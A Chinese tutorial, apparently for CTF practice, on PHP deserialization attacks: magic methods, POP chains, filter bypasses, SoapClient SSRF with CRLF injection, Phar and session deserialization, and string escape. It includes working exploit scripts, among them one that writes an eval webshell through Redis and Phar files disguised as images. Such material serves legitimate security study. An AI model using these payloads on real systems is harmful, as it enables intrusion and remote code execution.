前言

PHP 反序列化漏洞是 OWASP Top 10 中的经典类型,攻击者通过控制 unserialize() 的输入,构造恶意对象的属性来控制程序流程(Property-Oriented Programming),最终实现代码执行、文件读取、SSRF 等攻击。本文从魔术方法出发,逐步覆盖绕过手法、SoapClient/Phar/Session 反序列化以及字符串逃逸等技术。


一、魔术方法大全

魔术方法是 PHP 反序列化的基石,理解每个方法的触发时机是构造 POP 链的前提。

1.1 对象实例化与销毁

方法 触发时机 利用价值
__construct() 对象 new 时自动执行 实例化时注入恶意代码
__destruct() 对象销毁时自动执行(脚本结束 / 反序列化后对象被回收) POP 链最常见的终点,反序列化后必然触发
__clone() 拷贝对象 clone $obj 少见但特定场景可用

1.2 序列化 / 反序列化流程

1
2
serialize() 时:__sleep() → 序列化
unserialize() 时:__wakeup() → __unserialize() → 反序列化完成 → (脚本结束时) __destruct()
方法 触发时机 利用价值
__sleep() serialize() 时最先调用 可在序列化前做清理、返回要序列化的属性列表
__wakeup() unserialize() 时最先调用 绕过它就是经典的 wakeup 绕过(CVE-2016-7124)
__unserialize() 反序列化过程中调用(PHP 7.4+) 替代 wakeup 的角色
__set_state() var_export() 导出类时可调用 特定题目中出现

1.3 对象当作字符串使用 — __toString()

方法 触发时机 利用价值
__toString() 对象被当作字符串使用时:echo $objstrval()、字符串拼接 "prefix" . $objpreg_match() 参数等 POP 链核心跳板,链到其他魔术方法

注意: printf() / sprintf() 不会触发 __toString(),但 echo 会。

函数触发 __toString() 的方式:

1
2
echo new $v1($v2());           // v1=Exception, v2=system('ls')
// eval("echo new $v1($v2());") 中,new 出的对象被 echo,触发 __toString()

1.4 对象当作函数使用 — __invoke()

对象被当作函数调用时触发($obj()call_user_func($obj))。

1.5 访问不存在的方法 / 属性

方法 触发时机 参数
__call($name, $args) 调用不存在的方法 $name = 方法名, $args = 参数数组
__callStatic($name, $args) 调用不存在的静态方法 同上(PHP 5.3+)
__get($name) 读取不存在的 / 不可访问的属性 $name = 属性名
__set($name, $value) 不存在的属性赋值 $name = 属性名, $value = 值
__isset($name) 不可访问属性使用 isset() / empty() $name = 属性名
__unset($name) 不可访问属性使用 unset() $name = 属性名

SoapClient 的关键: __call() 是触发 SoapClient 发起 HTTP 请求的关键——调用 SoapClient 对象上不存在的方法即触发 ->__call() → 发起 SOAP 请求到 location

1.6 调试 / 导出

方法 触发时机
__debugInfo() var_dump() 对象时,控制输出内容

1.7 属性可见性(序列化时的命名规则)

1
2
3
4
5
class Test {
public $a = 1; // 序列化: s:1:"a";i:1;
protected $b = 2; // 序列化: s:4:"%00*%00b";i:2; — 变量名前加 %00*%00
private $c = 3; // 序列化: s:8:"%00Test%00c";i:3; — 变量名前加 %00类名%00
}

%00 是空字节(null byte),在 URL 传输或手动构造 payload 时需要注意。


二、绕过手法

2.1 + 号绕过正则(O/C 数字检测)

1
2
3
// 过滤: /[oc]:\d+:/i  — 检测 o:32 或 c:32 这类格式
// 绕过: o:+32: 或 O:+4:"Test":2:{...}
// PHP 的 unserialize 接受数字前的 +

CTF 典型场景:

1
2
3
4
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
// Cookie: O:+4:"User":1:{s:4:"name";s:5:"admin";}

2.2 大小写绕过

1
2
3
4
5
// 过滤 O: 或 o:
// PHP 只认小写 o: 和 s:,但某些 WAF 只匹配大写
// 如果你的目标 WAF 区分大小写但 PHP 不区分 →
// 实际上 PHP unserialize 是区分大小写的
// 这个技巧适用于 WAF 规则比 unserialize 更严格的场景

2.3 wakeup 绕过(CVE-2016-7124)

当序列化字符串中表示对象属性个数大于实际属性个数时,__wakeup() 不会被调用:

1
2
3
// 原始: O:4:"Test":1:{s:4:"code";s:10:"phpinfo();";}
// 绕过: O:4:"Test":2:{s:4:"code";s:10:"phpinfo();";}
// 改 1 为 2,wakeup 跳过

适用版本:

  • PHP 5 < 5.6.25
  • PHP 7 < 7.0.10

2.4 引用赋值绕过相等判断

1
2
3
4
5
6
7
8
class User {
public $token;
public $password;
}
// 检查 if($u->token === $u->password)
// 绕过:让 $token 和 $password 指向同一地址
$user->token = &$user->password;
// 序列化后 token 和 password 值永远相同

序列化结果中用 R:2;r:2; 表示引用。

2.5 序列化属性类型混淆

1
2
3
// 原始: O:4:"Test":1:{s:3:"key";s:5:"value";}  — key 是字符串
// 改为: O:4:"Test":1:{s:3:"key";i:0;} — key 变成整数
// 如果代码中 switch/if 对属性类型有依赖,类型变化可能改变执行路径

2.6 对象类型替换(POP 链跳转)

1
2
// 原始反序列化期望类 A,传入类 B(两个类存在不同的魔术方法)
// 如果代码中没有严格检查类名,可以用不同的类对象替换

三、SoapClient 反序列化(SSRF + CRLF)

这是 PHP 反序列化中最实用的攻击面之一——即使目标代码中没有可利用的类,但只要有 unserialize() 且后续调用了不存在的方法,SoapClient 就能发起内网请求。

3.1 原理

SoapClient 是 PHP 内置类,用于 SOAP 协议通信。构造函数接受两个参数:

1
2
3
4
5
new SoapClient(null, [
'uri' => 'http://ns/', // 命名空间(对应 SOAPAction 头)
'location' => 'http://target/', // 目标 URL
'user_agent'=> $ua // 可控 User-Agent → CRLF 注入
]);

调用对象上任意不存在的方法 → 触发 __call() → 发起 HTTP POST 请求到 location

默认发出的请求格式:

1
2
3
4
5
6
7
8
9
10
11
12
POST /flag.php HTTP/1.1
Host: "http://127.0.0.1" ← 注意有引号
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://ns/"
Content-Length: xxx

<?xml version="1.0"?>
<soap:Envelope>
<soap:Body>
...
</soap:Body>
</soap:Envelope>

3.2 CRLF 注入 — 控制 HTTP 请求

通过在 user_agent 参数中注入 \r\n,可以逃逸出 User-Agent 头,写入任意 HTTP 头甚至请求体:

1
2
3
4
5
6
7
8
9
10
<?php
$ua = "test\r\nX-Forwarded-For: 127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";

$client = new SoapClient(null, [
'uri' => 'http://127.0.0.1/',
'location' => 'http://127.0.0.1/flag.php',
'user_agent'=> $ua
]);

echo urlencode(serialize($client));

实际发出去的 HTTP 请求变成:

1
2
3
4
5
6
7
8
9
10
POST /flag.php HTTP/1.1
Host: "http://127.0.0.1"
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://127.0.0.1/"
User-Agent: test
X-Forwarded-For: 127.0.0.1,127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 13

token=ctfshow...(后续 SOAP XML 数据被当作 body 的干扰内容,但 POST 的 token 已生效)

注意: URI 中如果要 CRLF,需要闭合 SOAPAction 的引号。

3.3 通用 exp — 构造任意 POST 请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
$target = 'http://127.0.0.1:5555/path';
$post_string = 'data=something';
$headers = [
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=my_session'
];

$b = new SoapClient(null, [
'location' => $target,
'user_agent' => "wupco^^Content-Type: application/x-www-form-urlencoded^^"
. join('^^', $headers)
. "^^Content-Length: " . strlen($post_string)
. "^^^^" . $post_string,
'uri' => "aaab"
]);

$aaa = serialize($b);
$aaa = str_replace('^^', "\r\n", $aaa);
$aaa = str_replace('&', '&', $aaa);
echo $aaa;

$c = unserialize($aaa);
$c->not_exists_function(); // 触发 SoapClient.__call → 发起请求

技巧:^^ 占位符替代 \r\n,序列化完成后再替换——避免序列化过程中 \r\n 被编码或污染属性计数。

3.4 CRLF 打 Redis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
$target = 'http://127.0.0.1:6379/';
$poc1 = "AUTH 20251206";
$poc2 = "CONFIG SET dir /var/www/html/";
$poc3 = "CONFIG SET dbfilename shel.php";
$poc4 = "SET x '<?= @eval(\$_POST[1]) ?>'";
$poc5 = "SAVE";

$a = [
'location' => $target,
'uri' => 'hello"^^' . $poc1 . '^^' . $poc2 . '^^' . $poc3 . '^^' . $poc4 . '^^' . $poc5 . '^^hello'
];

$b = serialize($a);
$b = str_replace('^^', "\r\n", $b);
$c = unserialize($b);

class pure {
public $web = 'SoapClient';
public $misc = null;
public $crypto;
public $pwn;
}

$a = new pure();
$a->crypto = $c;
echo urlencode(serialize($a));

3.5 SoapClient POP 构造要点

  • 如果没有可用的魔术方法类,SoapClient 本身就是最好的 gadget
  • 触发条件:只要反序列化后调用了一个不存在的方法
  • 攻击范围:内网任意 HTTP 服务、Redis、FastCGI、Memcached…

四、Phar 反序列化

Phar 反序列化的特殊之处在于不需要明显的 unserialize() 调用。只要对 Phar 文件使用了受影响的文件系统函数(如 file_exists()is_dir() 等),PHP 就会自动解析 Phar 的 meta-data 并进行反序列化。

4.1 Phar 文件结构

1
2
3
4
5
6
7
8
9
10
11
12
1. Stub(幻数头)
格式:xxx<?php xxx; __HALT_COMPILER();?>
前面内容不限,但必须以 __HALT_COMPILER(); 结尾

2. Manifest(清单)
存储压缩文件的权限、属性等信息
**以序列化形式存储用户自定义的 meta-data** ← 攻击核心

3. File Contents(被压缩文件内容)

4. [可选] Signature(签名)
放在文件末尾,验证 Phar 完整性

攻击本质: meta-data 以序列化形式存储→ 文件系统函数在解析 Phar 时自动对其反序列化 → 触发魔术方法。

4.2 打包 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class TestObject {
public $cmd = 'system';
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); // 后缀必须为 .phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); // 设置 stub
$o = new TestObject();
$phar->setMetadata($o); // 将恶意对象存入 meta-data
$phar->addFromString("test.txt", "test"); // 添加被压缩文件
$phar->stopBuffering(); // 签名自动计算

4.3 受影响文件系统函数

只要函数支持 phar:// 协议,解析时就会触发反序列化:

1
2
3
4
5
6
7
8
file_exists()      is_dir()           is_file()
file_get_contents() readfile() file()
fopen() copy() rename()
stat() filesize() filectime()
filemtime() fileatime() fileowner()
unlink() rmdir() mkdir()
scandir() glob() SplFileInfo()
// ...及其他接受文件路径的内置函数

关键: 这些函数中没有显式的 unserialize() 调用,但在传入 phar:// 路径时,反序列化自动发生——最隐蔽的攻击面。

4.4 打包压缩 + 重命名绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
$a = new MaHaYu();
$a->HG2 = "getenv";
$a->FM2tM = "FLAG";

$phar = new Phar("delete.phar");
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata($a);
$phar->addFromString("helloworld.txt", "test");
$phar->stopBuffering();

// 压缩为 gzip 格式
$fp = gzopen("2.phar.gz", 'w9');
gzwrite($fp, file_get_contents("delete.phar"));
gzclose($fp);

// 重命名为图片后缀 —— 上传绕过
rename("2.phar.gz", "1.phar.png");

// 利用: phar:///upload/1.phar.png/helloworld.txt
// phar 协议识别这是一份 phar 压缩包,解压 → 拿到 helloworld.txt
// 同时反序列化 meta-data 中的恶意类

4.5 绕过方法

(1)绕过文件头检测

在 stub 中加上假的文件头 Magic Bytes:

1
$phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>");

(2)绕过 phar:// 协议检测

1
2
3
4
5
compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///home/sx/test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt
php://filter/resource=phar:///test.phar/test.txt
php://filter/read=convert.base64-encode/resource=phar://phar.phar

用其他协议包一层,绕过对 phar:// 头部的 WAF 检测。

(3)绕过 __HALT_COMPILER 检测 — Zip 注释法

将 phar 文件再压缩成 zip,利用 ZipArchive 的注释功能存储序列化数据:

1
2
3
4
5
6
7
$phar_file = serialize($exp);  // 恶意对象序列化字符串
$zip = new ZipArchive();
$res = $zip->open('1.zip', ZipArchive::CREATE);
$zip->addFromString('crispr.txt', 'file content goes here');
$zip->setArchiveComment($phar_file); // 将恶意序列化字符串写入 zip 注释
$zip->close();
// 然后用 phar://1.zip/crispr.txt 访问

五、Session 反序列化

5.1 原理

PHP 的 session 数据以序列化格式存储在文件中(默认 /tmp/sess_{PHPSESSID})。不同处理器(handler)使用不同的序列化格式,当两种处理器混用时,可能造成反序列化注入。

5.2 三种 Session 序列化处理器

处理器 存储格式 示例
php 竖线分隔 name|s:4:"qwer";
php_binary 二进制长度前缀 \x05namea:4:"qwer"
php_serialize 标准序列化格式 a:1:{s:4:"name";s:4:"qwer";}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// php 处理器
ini_set('session.serialize_handler', 'php');
session_start();
$_SESSION['name'] = 'qwer';
// 文件内容: name|s:4:"qwer";

// php_serialize 处理器
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['name'] = 'qwer';
// 文件内容: a:1:{s:4:"name";s:4:"qwer";}

// php_binary 处理器
ini_set('session.serialize_handler', 'php_binary');
session_start();
$_SESSION['name'] = 'qwer';
// 文件内容: \x05namea:4:"qwer";

5.3 攻击场景:两种处理器混用

场景: A 页面用 php_serialize 写 session,B 页面用 php 读 session。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// ==== 页面 A(写入 session — php_serialize 处理器)====
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['test'] = $_GET['test'];

// ==== 页面 B(读取 session — php 处理器,有反序列化类)====
ini_set('session.serialize_handler', 'php');
session_start();
class Test {
public $code;
function __wakeup() {
eval($this->code);
}
}

攻击: 在页面 A 传入:

1
test=|O:4:"Test":1:{s:4:"code";s:10:"phpinfo();";}

写入文件后:

1
a:1:{s:4:"test";s:48:"|O:4:"Test":1:{s:4:"code";s:10:"phpinfo();";}";}

页面 B 用 php 处理器读取时,| 之前的部分被当作键名,之后的部分被直接反序列化 → 触发 Test 类的 __wakeup()eval('phpinfo();')

5.4 进阶:无可见 unserialize 的 session 利用

1
2
3
4
5
6
7
8
9
10
11
<?php
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
$_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = [reset($_SESSION), 'welcome_to_the_lctf2018'];
call_user_func($b, $a);
?>

通过 call_user_func($_GET['f'], $_POST) 可以先设置 session 处理器为 php_serialize,再用 session 写入恶意序列化数据,最终 call_user_func($b, $a) 触发反序列化类。


六、字符串逃逸与吞吃

序列化后的字符串结构是定长标注的——s:4:"name" 中的 4 表示后面的字符串长度。如果能控制某一项的过滤前长度和过滤后长度不一致,就可以打破序列化结构,注入任意对象。

6.1 基础序列化结构

1
2
3
4
5
a:3:{
s:4:"name";s:4:"wlgf";
s:4:"sign";s:3:"aaa";
s:6:"number";s:4:"2024";
}

6.2 逃逸(变长)—— 过滤后变长

场景: 某些字符被替换为更长的字符串。例如 XYY(1→2字节)。

利用过滤产生的”多出来的字节”吃掉原本序列化结构中的闭合部分,注入新的属性:

1
2
3
4
5
6
7
原始输入:
name = wlgf
sign = aaa";s:6:"number";s:4:"9999";} ← 攻击 payload
number = 2024

但 sign 中的 " 被转义成 \"(1 字节 → 2 字节),导致总长度变长 →
逃逸出的字符 "吃掉" 了原本的 ";s:6:"number";... → number 被我们的 9999 覆盖

具体操作:

  1. 先算出过滤会让 sign 的值多出多少字节
  2. 在 sign 中填入恰好长度的内容 + 注入 payload
  3. 多出的字节恰好覆盖掉 ";s:6:"number";s:4:"2024";}
  4. 剩下的内容 ";s:6:"number";s:4:"9999";} 成为新的合法序列化片段

本质: 过滤 → 变长 → 多出来的字符”溢出”到后面的序列化结构中 → 把后面的结构当成我们传入的数据解析。

6.3 吞吃(变短)—— 过滤后变短

场景: 某些字符被过滤删除。例如 \ 被直接删除(\\\\ 中的 \ 被删,但 PHP 看到的 \\ 也会变 \ 导致计数混乱)。

或更典型:' 被过滤为空。原名 O'Brien 长度 7,过滤后 OBrien 长度 6。

利用”少了”的字节吞掉前面的属性,让后面的属性被提前解析:

1
2
3
4
5
6
7
8
9
假设 name 会被过滤掉某些字符使其变短
name = 大量填充字符 + ";s:4:"sign";s:4:"eval";s:6:"number";s:4:"2020";}
sign = mmm
number = 2024

name 中的填充字符被过滤掉 → name 的实际内容变短 →
但序列化结构中记录的 name 长度没变 →
后面的 ";s:4:"sign"... 被"吞"进 name 的值中 →
sign 变成我们指定的值

具体操作:

  1. name 传入足够长度(等于被吞掉的字符数)的内容 + 注入 payload
  2. name 被过滤后变短,恰好等于前面填充的长度
  3. ";s:4:"sign";s:3:"aaa" 被吞入 name 的值
  4. sign 实际变为我们指定的值

技巧: 计算”要吞多少字节” = 原始 name 值长度 - 填充字符数。在 payload 末尾将 sign 覆盖,闭合剩余的 ";s:... 即可。

6.4 逃逸 vs 吞吃对比

逃逸(变长) 吞吃(变短)
原因 过滤扩充了某些字符 过滤删除了某些字符
攻击方式 多出的字节”溢出”到后面,覆盖后面属性的值 少了的字节”吞入”后面的结构,使后面的属性被提前
可控字段 是过滤字段本身 多个字段配合(一个用来填充吞吃,一个用来实际注入)

七、综合 POP 链构造思路

7.1 起点 → 跳板 → 终点

1
2
3
4
5
起点方法(自动触发) → 跳板方法(传递控制流) → 终点方法(执行恶意操作)

常见起点:__destruct / __wakeup / __toString / __invoke
常见跳板:__toString / __call / __get / __set
常见终点:eval / system / file_put_contents / file_get_contents

7.2 典型链示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 写文件链
__destruct → __toString → file_put_contents

# 读取文件链
__toString → __get → file_get_contents(通过 SplFileObject)

# SSRF 链
__destruct → __call → SoapClient(内网攻击)

# 命令执行链
__toString → __invoke → system

# Session 反序列化链
php_serialize 写入 → php 处理器读取 → __wakeup → eval

7.3 POP 链构造 checklist

  1. 找出所有自定义类的魔术方法
  2. 画出类之间的调用关系图(哪个类的 __toString 调用了其他对象的方法/属性)
  3. 确认起点:哪个魔术方法在反序列化过程中会被自动触发
  4. 确认数据流:用户可控的数据最终流到了哪里(eval / system / file_put_contents 等危险函数)
  5. 检查PHP 原生类:当自定义类不够 → 用 SoapClient / SplFileObject / Error / DirectoryIterator 等原生类补链

总结速查

攻击类型 核心原理 关键点
反序列化 POP 链 控制对象属性 → 触发魔术方法 → 执行危险操作 起点→跳板→终点
wakeup 绕过 属性个数 > 实际个数 O:4:”Test”:2:{…} 改大数字
正则绕过 + 号 / 大小写 / 十六进制 o:+32:O:+4:
SoapClient SSRF __call → 发起 HTTP → CRLF 控制请求 user_agent 参数注入 \r\n
Phar 反序列化 文件函数解析 Phar → meta-data 自动反序列化 不需要显式 unserialize() 调用
Session 反序列化 不同 handler 格式差异 → 竖线 | 后注入 php_serialize 写 + php
字符串逃逸 过滤变长 → 溢出覆盖后面结构 计算多出字节数,payload 填在注入字段
字符串吞吃 过滤变短 → 吞入后面结构替代 计算缺少字节数,填充字段 + 注入字段配合